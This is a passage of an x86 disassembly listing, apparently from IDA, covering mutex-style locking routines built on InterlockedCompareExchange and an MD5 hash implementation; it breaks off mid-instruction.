3 loc_433293: ; CODE XREF: sub_4331D0+9Ej ; sub_4331D0+BBj lea edx, [esp+14h+arg_0] push edx call sub_4010AA add esp, 4 test edi, edi jnz short loc_4332AF mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4332AF: ; CODE XREF: sub_4331D0+D2j push esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, edi mov dword ptr [ebp+0], 0 pop edi pop esi pop ebp pop ebx pop ecx retn sub_4331D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_433310: ; CODE XREF: ___:00401109j push ebx push esi push edi mov edi, [esp+10h] xor ebx, ebx test edi, edi jz loc_4333B5 mov esi, [edi] test esi, esi jz loc_4333B5 cmp esi, 0FFFFFFFFh jz short loc_433378 cmp dword ptr [esi], 3 jnz short loc_43335D lea eax, [esi+4] push eax call sub_40222F mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_4333AF loc_433347: ; CODE XREF: ___:0043336Bj push esi mov dword ptr [edi], 0 nop call near ptr 77C2C21Bh add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43335D: ; CODE XREF: ___:00433333j push 1 push 0 push esi call dword_50E3EC ; InterlockedCompareExchange cmp eax, 1 jz short loc_433347 mov ebx, 16h pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433378: ; CODE XREF: ___:0043332Ej push offset dword_50E960 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_43339F push offset dword_50E960 mov dword ptr [edi], 0 nop call near ptr 7C9010EDh pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43339F: ; CODE XREF: ___:00433386j push offset dword_50E960 mov ebx, 10h call near ptr 7C9010EDh nop loc_4333AF: ; CODE XREF: ___:00433345j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4333B5: ; CODE XREF: ___:0043331Bj ; ___:00433325j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4333F0: ; CODE XREF: ___:004021C1j push esi mov esi, [esp+8] test esi, esi jz short loc_433451 mov eax, [esi] test eax, eax jz short loc_433451 cmp eax, 0FFFFFFFFh jnz short loc_433411 push esi call sub_401992 add esp, 4 test eax, eax jnz short loc_433456 loc_433411: ; CODE XREF: ___:00433402j mov esi, [esi] push 1 push 2 push esi call dword_50E3EC ; InterlockedCompareExchange cmp eax, 2 jnz short loc_433433 loc_433423: ; CODE XREF: ___:00433431j push 1 push 2 push esi call dword_50E3EC ; InterlockedCompareExchange cmp eax, 2 jz short loc_433423 loc_433433: ; CODE XREF: ___:00433421j mov eax, [esi] cmp eax, 2 jnz short loc_43343E xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_43343E: ; CODE XREF: ___:00433438j cmp eax, 3 jnz short loc_433451 add esi, 4 push esi call sub_402225 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_433451: ; CODE XREF: ___:004333F7j ; ___:004333FDj ... mov eax, 16h loc_433456: ; CODE XREF: ___:0043340Fj pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433480: ; CODE XREF: ___:00401AA5j mov eax, [esp+4] push esi test eax, eax jz short loc_4334C1 mov esi, [eax] test esi, esi jz short loc_4334C1 cmp esi, 0FFFFFFFFh jnz short loc_43349B loc_433494: ; CODE XREF: ___:004334A7j mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_43349B: ; CODE XREF: ___:00433492j push 2 push 1 push esi call dword_50E3EC ; InterlockedCompareExchange dec eax jz short loc_433494 dec eax jz short loc_4334BD dec eax jnz short loc_4334C1 add esi, 4 push esi call sub_4010C3 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_4334BD: ; CODE XREF: ___:004334AAj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4334C1: ; CODE XREF: ___:00433487j ; ___:0043348Dj ... mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4334F0: ; CODE XREF: ___:00401933j push esi mov esi, [esp+8] test esi, esi jz short loc_433540 mov eax, [esi] test eax, eax jz short loc_433540 cmp eax, 0FFFFFFFFh jnz short loc_433511 push esi call sub_401992 add esp, 4 test eax, eax jnz short loc_433545 loc_433511: ; CODE XREF: ___:00433502j mov esi, [esi] push 1 push 2 push esi call dword_50E3EC ; InterlockedCompareExchange dec eax jz short loc_43353C dec eax jz short loc_433535 dec eax jnz short loc_433540 add esi, 4 push esi call sub_40177B add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_433535: ; CODE XREF: ___:00433522j mov eax, 10h pop esi retn ; --------------------------------------------------------------------------- loc_43353C: ; CODE XREF: ___:0043351Fj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_433540: ; CODE XREF: ___:004334F7j ; ___:004334FDj ... mov eax, 16h loc_433545: ; CODE XREF: ___:0043350Fj pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433570: ; CODE XREF: ___:00401244j push esi mov esi, [esp+8] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_43359C mov eax, [esi+20h] mov ecx, 1 cmp eax, ecx jnz short loc_433597 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_433597: ; CODE XREF: ___:0043358Ej xor eax, eax mov [esi+20h], ecx loc_43359C: ; CODE XREF: ___:00433582j pop esi retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4335B0 proc near ; CODE XREF: sub_40175Dj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_43363C call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4335D4 mov eax, 2 pop esi retn ; --------------------------------------------------------------------------- loc_4335D4: ; CODE XREF: sub_4335B0+1Bj push edi push esi push eax call sub_401A50 add esp, 8 test eax, eax jz short loc_4335ED mov edi, 24h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4335ED: ; CODE XREF: sub_4335B0+31j cmp dword ptr [esi+20h], 1 jnz short loc_4335FD mov edi, 16h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4335FD: ; CODE XREF: sub_4335B0+41j mov eax, [esi+4] push eax call sub_401640 ; --------------------------------------------------------------------------- dw 0F88Bh dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh dd 0D422E890h, 0C0850246h, 0E8560E74h, 0FFFCE181h, 8B04C483h dd 0C35E5FC7h, 3BFh, 5FC78B00h ; --------------------------------------------------------------------------- loc_43363C: ; CODE XREF: sub_4335B0+12j pop esi retn sub_4335B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433670 proc near ; CODE XREF: sub_4015FFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 10h push 1 xor edi, edi nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_433695 mov ecx, [esp+8+arg_0] pop edi mov eax, 0Ch mov [ecx], esi pop esi retn ; --------------------------------------------------------------------------- loc_433695: ; CODE XREF: sub_433670+15j nop call near ptr 28A06A8h cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_4336BE push esi mov edi, 0Bh nop call near ptr 77C2C21Bh mov edx, [esp+0Ch+arg_0] add esp, 4 xor eax, eax mov [edx], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4336BE: ; CODE XREF: sub_433670+30j mov eax, [esp+8+arg_4] test eax, eax jz short loc_4336DB mov [esi+4], eax mov eax, [esp+8+arg_0] mov dword ptr [esi+8], 0FFFFFFFFh mov [eax], esi mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4336DB: ; CODE XREF: sub_433670+54j mov ecx, [esp+8+arg_0] mov eax, edi pop edi mov [ecx], esi pop esi retn sub_433670 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433710 proc near ; CODE XREF: sub_401AA0j arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push ebp xor ebp, ebp cmp ebx, ebp jz loc_4337A0 cmp [ebx+0Ch], ebp jz short loc_43377C cmp [ebx+4], ebp jz short loc_43377C lea eax, [ebx+8] push eax call sub_402225 add esp, 4 test eax, eax jnz short loc_43377C push esi mov esi, [ebx+0Ch] cmp esi, ebp jz short loc_43376F push edi loc_433743: ; CODE XREF: sub_433710+5Cj push esi call sub_402225 add esp, 4 test eax, eax jnz short loc_43376A mov edi, [esi+10h] push esi mov [esi+8], ebp mov [esi+10h], ebp call sub_4010C3 push esi call sub_40105F add esp, 8 mov esi, edi loc_43376A: ; CODE XREF: sub_433710+3Ej cmp esi, ebp jnz short loc_433743 pop edi loc_43376F: ; CODE XREF: sub_433710+30j lea eax, [ebx+8] push eax call sub_4010C3 add esp, 4 pop esi loc_43377C: ; CODE XREF: sub_433710+13j ; sub_433710+18j ... mov eax, [ebx] push eax nop call near ptr 28A0000h cmp [ebx+4], ebp jz short loc_433796 lea ecx, [ebx+8] push ecx call sub_40222F add esp, 4 loc_433796: ; CODE XREF: sub_433710+78j push ebx nop call near ptr 77C2C21Bh add esp, 4 loc_4337A0: ; CODE XREF: sub_433710+Aj pop ebp xor eax, eax pop ebx retn sub_433710 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4337E0 proc near ; CODE XREF: sub_4020DBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_50E3D8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] cmp esi, eax jz short loc_433804 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_433813 pop esi mov eax, 2 pop ebx retn ; --------------------------------------------------------------------------- loc_433804: ; CODE XREF: sub_4337E0+11j push eax call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_433813 mov eax, ebx loc_433813: ; CODE XREF: sub_4337E0+1Aj ; sub_4337E0+2Fj push edi xor edi, edi test esi, esi jz short loc_433875 test eax, eax jz short loc_433862 mov ecx, [esi+4] test ecx, ecx jz short loc_433862 test ebx, ebx jz short loc_433862 mov ecx, [eax+80h] test ecx, ecx mov [esp+0Ch+arg_0], ecx jz short loc_43384D loc_433837: ; CODE XREF: sub_4337E0+65j cmp [ecx+8], esi jz short loc_433849 mov ecx, [ecx+0Ch] test ecx, ecx mov [esp+0Ch+arg_0], ecx jnz short loc_433837 jmp short loc_43384D ; --------------------------------------------------------------------------- loc_433849: ; CODE XREF: sub_4337E0+5Aj test ecx, ecx jnz short loc_433862 loc_43384D: ; CODE XREF: sub_4337E0+55j ; sub_4337E0+67j push esi push eax lea eax, [esp+14h+arg_0] push eax call sub_401DC5 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_433875 loc_433862: ; CODE XREF: sub_4337E0+3Cj ; sub_4337E0+43j ... mov ecx, [esi] push ebx push ecx nop call near ptr 28C0000h test eax, eax jnz short loc_433875 mov edi, 0Bh loc_433875: ; CODE XREF: sub_4337E0+38j ; sub_4337E0+80j ... mov eax, edi pop edi pop esi pop ebx retn sub_4337E0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4338B0 proc near ; CODE XREF: sub_401190j push ebx push esi push edi call near ptr 2930847h nop mov esi, eax call sub_436F5A sub_4338B0 endp ; --------------------------------------------------------------------------- dd 448BF88Bh, 88B1024h, 62E89051h, 560245D2h, 0E890D88Bh dd 245D47Ah, 36C4E857h, 8B5F0000h, 0C35B5EC3h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_433900 proc near ; CODE XREF: sub_401A55j arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx mov [eax+14h], ecx mov [eax+10h], ecx mov dword ptr [eax], 67452301h mov dword ptr [eax+4], 0EFCDAB89h mov dword ptr [eax+8], 98BADCFEh mov dword ptr [eax+0Ch], 10325476h retn sub_433900 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433940 proc near ; CODE XREF: sub_401C12j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] push edi mov edi, [esp+10h+arg_8] mov ecx, [esi+10h] mov eax, ecx lea edx, ds:0[edi*8] shr eax, 3 lea ecx, [ecx+edi*8] and eax, 3Fh cmp ecx, edx mov [esi+10h], ecx jnb short loc_43396B inc dword ptr [esi+14h] loc_43396B: ; CODE XREF: sub_433940+26j mov ebx, [esi+14h] mov ecx, edi shr ecx, 1Dh add ebx, ecx mov [esi+14h], ebx mov ebx, 40h sub ebx, eax cmp edi, ebx jb short loc_4339C9 mov edx, [esp+10h+arg_4] push ebx lea eax, [eax+esi+18h] push edx push eax call sub_434740 lea ecx, [esi+18h] push ecx push esi call sub_433AB0 mov ebp, ebx add ebx, 3Fh add esp, 14h cmp ebx, edi jnb short loc_4339C5 loc_4339A9: ; CODE XREF: sub_433940+83j mov edx, [esp+10h+arg_4] lea eax, [edx+ebx-3Fh] push eax push esi call sub_433AB0 add ebx, 40h add esp, 8 add ebp, 40h cmp ebx, edi jb short loc_4339A9 loc_4339C5: ; CODE XREF: sub_433940+67j xor eax, eax jmp short loc_4339CB ; --------------------------------------------------------------------------- loc_4339C9: ; CODE XREF: sub_433940+41j xor ebp, ebp loc_4339CB: ; CODE XREF: sub_433940+87j mov ecx, [esp+10h+arg_4] sub edi, ebp add ebp, ecx push edi lea edx, [eax+esi+18h] push ebp push edx call sub_434740 add esp, 0Ch pop edi pop esi pop ebp pop ebx retn sub_433940 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433A20 proc near ; CODE XREF: sub_402158j var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 8 lea eax, [esp+8+var_8] push esi push edi mov edi, [esp+10h+arg_4] push 8 lea esi, [edi+10h] push esi push eax call sub_434660 mov eax, [esi] add esp, 0Ch shr eax, 3 and eax, 3Fh mov ecx, 38h cmp eax, 38h jb short loc_433A53 mov ecx, 78h loc_433A53: ; CODE XREF: sub_433A20+2Cj sub ecx, eax push ecx push offset aA_0 ; "€" push edi call sub_401C12 lea ecx, [esp+1Ch+var_8] push 8 push ecx push edi call sub_401C12 mov edx, [esp+28h+arg_0] push 10h push edi push edx call sub_434660 push 58h push 0 push edi call sub_434770 add esp, 30h pop edi pop esi add esp, 8 retn sub_433A20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433AB0 proc near ; CODE XREF: sub_433940+58p ; sub_433940+73p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 40h mov ecx, [esp+40h+arg_4] push ebx push ebp push esi mov esi, [esp+4Ch+arg_0] push edi push 40h lea edx, [esp+54h+var_40] mov eax, [esi] mov edi, [esi+4] mov ebx, [esi+8] mov ebp, [esi+0Ch] push ecx push edx mov [esp+5Ch+arg_0], eax call sub_4346D0 mov eax, edi mov edx, [esp+5Ch+arg_0] not eax mov ecx, ebx and eax, ebp and ecx, edi or eax, ecx mov ecx, [esp+5Ch+var_40] add eax, ecx lea ecx, [edx+eax-28955B88h] mov edx, edi mov eax, ecx shr eax, 19h shl ecx, 7 or eax, ecx add eax, edi mov ecx, eax and edx, eax not ecx and ecx, ebx or ecx, edx mov edx, [esp+5Ch+var_3C] add ecx, edx lea edx, [ecx+ebp-173848AAh] mov ecx, edx shr ecx, 14h shl edx, 0Ch or ecx, edx add ecx, eax mov edx, ecx mov ebp, ecx not edx and edx, edi and ebp, eax or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, ecx lea ebx, [ebx+edx+242070DBh] mov edx, ebx shr edx, 0Fh shl ebx, 11h or edx, ebx add edx, ecx mov ebx, edx and ebp, edx not ebx and ebx, eax or ebx, ebp mov ebp, [esp+5Ch+var_34] add ebx, ebp lea ebx, [edi+ebx-3E423112h] mov edi, ebx shl edi, 16h shr ebx, 0Ah or edi, ebx mov ebx, edx add edi, edx mov [esp+5Ch+arg_0], edi mov ebp, [esp+5Ch+arg_0] not edi and edi, ecx and ebx, ebp mov ebp, [esp+5Ch+var_30] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea eax, [eax+edi-0A83F051h] mov edi, eax shr edi, 19h shl eax, 7 or edi, eax add edi, ebx mov eax, edi and ebp, edi not eax and eax, edx or eax, ebp mov ebp, [esp+5Ch+var_2C] add eax, ebp lea ecx, [ecx+eax+4787C62Ah] mov eax, ecx shr eax, 14h shl ecx, 0Ch or eax, ecx add eax, edi mov ecx, eax mov ebp, eax not ecx and ecx, ebx and ebp, edi or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, eax lea edx, [edx+ecx-57CFB9EDh] mov ecx, edx shr ecx, 0Fh shl edx, 11h or ecx, edx add ecx, eax mov edx, ecx and ebp, ecx not edx and edx, edi or edx, ebp mov ebp, [esp+5Ch+var_24] add edx, ebp lea ebx, [ebx+edx-2B96AFFh] mov edx, ebx shl edx, 16h shr ebx, 0Ah or edx, ebx mov ebx, ecx add edx, ecx mov [esp+5Ch+arg_0], edx mov ebp, [esp+5Ch+arg_0] not edx and edx, eax and ebx, ebp mov ebp, [esp+5Ch+var_20] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edi, [edi+edx+698098D8h] mov edx, edi shr edx, 19h shl edi, 7 or edx, edi add edx, ebx mov edi, edx and ebp, edx not edi and edi, ecx or edi, ebp mov ebp, [esp+5Ch+var_1C] add edi, ebp lea eax, [eax+edi-74BB0851h] mov edi, eax shr edi, 14h shl eax, 0Ch or edi, eax add edi, edx mov eax, edi not eax mov ebp, edi and eax, ebx and ebp, edx or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, edi lea ecx, [ecx+eax-0A44Fh] mov eax, ecx shr eax, 0Fh shl ecx, 11h or eax, ecx add eax, edi mov ecx, eax and ebp, eax not ecx and ecx, edx or ecx, ebp mov ebp, [esp+5Ch+var_14] add ecx, ebp lea ebx, [ebx+ecx-76A32842h] mov ecx, ebx shl ecx, 16h shr ebx, 0Ah or ecx, ebx mov ebx, eax add ecx, eax mov [esp+5Ch+arg_0], ecx mov ebp, [esp+5Ch+arg_0] not ecx and ecx, edi and ebx, ebp mov ebp, [esp+5Ch+var_10] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edx, [edx+ecx+6B901122h] mov ecx, edx shr ecx, 19h shl edx, 7 or ecx, edx add ecx, ebx mov edx, ecx and ebp, ecx not edx and edx, eax or edx, ebp mov ebp, [esp+5Ch+var_C] add edx, ebp lea edi, [edi+edx-2678E6Dh] mov edx, edi shr edx, 14h shl edi, 0Ch or edx, edi add edx, ecx mov ebp, edx mov edi, edx not ebp and edi, ecx and ebx, ebp or edi, ebx mov ebx, [esp+5Ch+var_8] add edi, ebx mov ebx, edx lea eax, [eax+edi-5986BC72h] mov edi, eax shr edi, 0Fh shl eax, 11h or edi, eax add edi, edx mov eax, edi and ebx, edi not eax mov [esp+5Ch+arg_4], eax and eax, ecx or eax, ebx mov ebx, [esp+5Ch+var_4] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax+49B40821h] mov eax, ebx shl eax, 16h shr ebx, 0Ah or eax, ebx mov ebx, edx add eax, edi mov [esp+5Ch+arg_0], eax and ebx, eax mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_3C] or ebx, eax add ebx, ebp mov ebp, edi lea ecx, [ecx+ebx-9E1DA9Eh] mov ebx, [esp+5Ch+arg_0] mov eax, ecx shr eax, 1Bh shl ecx, 5 or eax, ecx mov ecx, [esp+5Ch+arg_4] add eax, ebx and ecx, ebx and ebp, eax or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edx, [edx+ecx-3FBF4CC0h] and ebx, eax mov ecx, edx shr ecx, 17h shl edx, 9 or ecx, edx add ecx, eax mov edx, ecx and edx, ebp mov ebp, [esp+5Ch+var_14] or ebx, edx add ebx, ebp lea edi, [edi+ebx+265E5A51h] mov edx, edi shr edx, 12h shl edi, 0Eh or edx, edi mov edi, eax add edx, ecx not edi mov ebx, edx and edi, ecx and ebx, eax or edi, ebx mov ebx, [esp+5Ch+var_40] add edi, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edi-16493856h] mov edi, ebx shl edi, 14h shr ebx, 0Ch or edi, ebx mov ebx, ecx add edi, edx mov [esp+5Ch+arg_0], edi mov edi, ecx mov ebp, [esp+5Ch+arg_0] not edi and edi, edx and ebx, ebp mov ebp, [esp+5Ch+var_2C] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] lea eax, [eax+edi-29D0EFA3h] mov edi, eax shr edi, 1Bh shl eax, 5 or edi, eax mov eax, edx add edi, ebx not eax mov ebp, edx and eax, ebx and ebp, edi or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea ecx, [ecx+eax+2441453h] and ebx, edi mov eax, ecx shr eax, 17h shl ecx, 9 or eax, ecx add eax, edi mov ecx, eax and ecx, ebp mov ebp, [esp+5Ch+var_4] or ebx, ecx add ebx, ebp lea edx, [edx+ebx-275E197Fh] mov ecx, edx shr ecx, 12h shl edx, 0Eh or ecx, edx mov edx, edi add ecx, eax not edx mov ebx, ecx and edx, eax and ebx, edi or edx, ebx mov ebx, [esp+5Ch+var_30] add edx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edx-182C0438h] mov edx, ebx shl edx, 14h shr ebx, 0Ch or edx, ebx mov ebx, eax add edx, ecx mov [esp+5Ch+arg_0], edx mov edx, eax mov ebp, [esp+5Ch+arg_0] not edx and edx, ecx and ebx, ebp mov ebp, [esp+5Ch+var_1C] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ecx lea edi, [edi+edx+21E1CDE6h] mov edx, edi shr edx, 1Bh shl edi, 5 or edx, edi mov edi, ecx add edx, ebx not edi and edi, ebx and ebp, edx or edi, ebp mov ebp, [esp+5Ch+var_8] add edi, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea eax, [eax+edi-3CC8F82Ah] and ebx, edx mov edi, eax shr edi, 17h shl eax, 9 or edi, eax add edi, edx mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_34] or ebx, eax add ebx, ebp lea ecx, [ecx+ebx-0B2AF279h] mov eax, ecx shr eax, 12h shl ecx, 0Eh or eax, ecx mov ecx, edx add eax, edi not ecx mov ebx, eax and ecx, edi and ebx, edx or ecx, ebx mov ebx, [esp+5Ch+var_20] add ecx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+ecx+455A14EDh] mov ecx, ebx shl ecx, 14h shr ebx, 0Ch or ecx, ebx mov ebx, edi add ecx, eax mov [esp+5Ch+arg_0], ecx mov ecx, edi mov ebp, [esp+5Ch+arg_0] not ecx and ecx, eax and ebx, ebp mov ebp, [esp+5Ch+var_C] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, eax lea edx, [edx+ecx-561C16FBh] mov ecx, edx shr ecx, 1Bh shl edx, 5 or ecx, edx mov edx, eax add ecx, ebx not edx and edx, ebx and ebp, ecx or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edi, [edi+edx-3105C08h] and ebx, ecx mov edx, edi shr edx, 17h shl edi, 9 or edx, edi add edx, ecx mov edi, edx and edi, ebp mov ebp, [esp+5Ch+var_24] or ebx, edi add ebx, ebp lea eax, [eax+ebx+676F02D9h] mov edi, eax shr edi, 12h shl eax, 0Eh or edi, eax mov eax, ecx add edi, edx not eax mov ebx, edi and eax, edx and ebx, ecx or eax, ebx mov ebx, [esp+5Ch+var_10] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax-72D5B376h] mov eax, ebx shl eax, 14h shr ebx, 0Ch or eax, ebx add eax, edi mov ebp, [esp+5Ch+var_2C] mov ebx, edx xor ebx, edi xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_20] lea ecx, [ecx+ebx-5C6BEh] mov ebx, ecx shr ebx, 1Ch shl ecx, 4 or ebx, ecx mov ecx, edi add ebx, eax xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_14] lea ecx, [edx+ecx-788E097Fh] mov edx, ecx shr edx, 15h shl ecx, 0Bh or edx, ecx add edx, ebx mov ecx, edx xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_8] lea ecx, [edi+ecx+6D9D6122h] mov edi, ecx shr edi, 10h shl ecx, 10h or edi, ecx mov ecx, edx add edi, edx xor ecx, edi mov [esp+5Ch+arg_0], ecx xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_3C] lea eax, [eax+ecx-21AC7F4h] mov ecx, eax shl ecx, 17h shr eax, 9 or ecx, eax mov eax, [esp+5Ch+arg_0] add ecx, edi xor eax, ecx add eax, ebp mov ebp, [esp+5Ch+var_30] lea ebx, [ebx+eax-5B4115BCh] mov eax, ebx shr eax, 1Ch shl ebx, 4 or eax, ebx mov ebx, edi add eax, ecx xor ebx, ecx xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_24] lea edx, [edx+ebx+4BDECFA9h] mov ebx, edx shr ebx, 15h shl edx, 0Bh or ebx, edx add ebx, eax mov edx, ebx xor edx, ecx xor edx, eax add edx, ebp lea edi, [edi+edx-944B4A0h] mov edx, edi shr edx, 10h shl edi, 10h or edx, edi mov edi, ebx add edx, ebx xor edi, edx mov ebp, edi xor ebp, eax add ebp, [esp+5Ch+var_18] lea ebp, [ecx+ebp-41404390h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_C] add ecx, edx xor edi, ecx add edi, ebp mov ebp, [esp+5Ch+var_40] lea edi, [eax+edi+289B7EC6h] mov eax, edi shr eax, 1Ch shl edi, 4 or eax, edi mov edi, edx add eax, ecx xor edi, ecx xor edi, eax add edi, ebp mov ebp, [esp+5Ch+var_34] lea ebx, [ebx+edi-155ED806h] mov edi, ebx shr edi, 15h shl ebx, 0Bh or edi, ebx add edi, eax mov ebx, edi xor ebx, ecx xor ebx, eax add ebx, ebp lea edx, [edx+ebx-2B10CF7Bh] mov ebx, edx shr ebx, 10h shl edx, 10h or ebx, edx mov edx, edi add ebx, edi xor edx, ebx mov ebp, edx xor ebp, eax add ebp, [esp+5Ch+var_28] lea ebp, [ecx+ebp+4881D05h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_1C] add ecx, ebx xor edx, ecx add edx, ebp lea edx, [eax+edx-262B2FC7h] mov eax, edx shr eax, 1Ch shl edx, 4 or eax, edx mov edx, ebx add eax, ecx xor edx, ecx xor edx, eax add edx, [esp+5Ch+var_10] lea edi, [edi+edx-1924661Bh] mov edx, edi shr edx, 15h shl edi, 0Bh or edx, edi add edx, eax mov edi, edx xor edi, ecx xor edi, eax add edi, [esp+5Ch+var_4] lea ebx, [ebx+edi+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, edx add edi, edx xor ebx, edi xor ebx, eax add ebx, [esp+5Ch+var_38] lea ecx, [ecx+ebx-3B53A99Bh] mov ebx, ecx shl ebx, 17h shr ecx, 9 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_40] lea eax, [eax+ecx-0BD6DDBCh] mov ecx, eax shr ecx, 1Ah shl eax, 6 or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_24] lea edx, [edx+eax+432AFF97h] mov eax, edx shr eax, 16h shl edx, 0Ah or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_8] lea edi, [edi+edx-546BDC59h] mov edx, edi shr edx, 11h shl edi, 0Fh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_2C] lea ebx, [ebx+edi-36C5FC7h] mov edi, ebx shl edi, 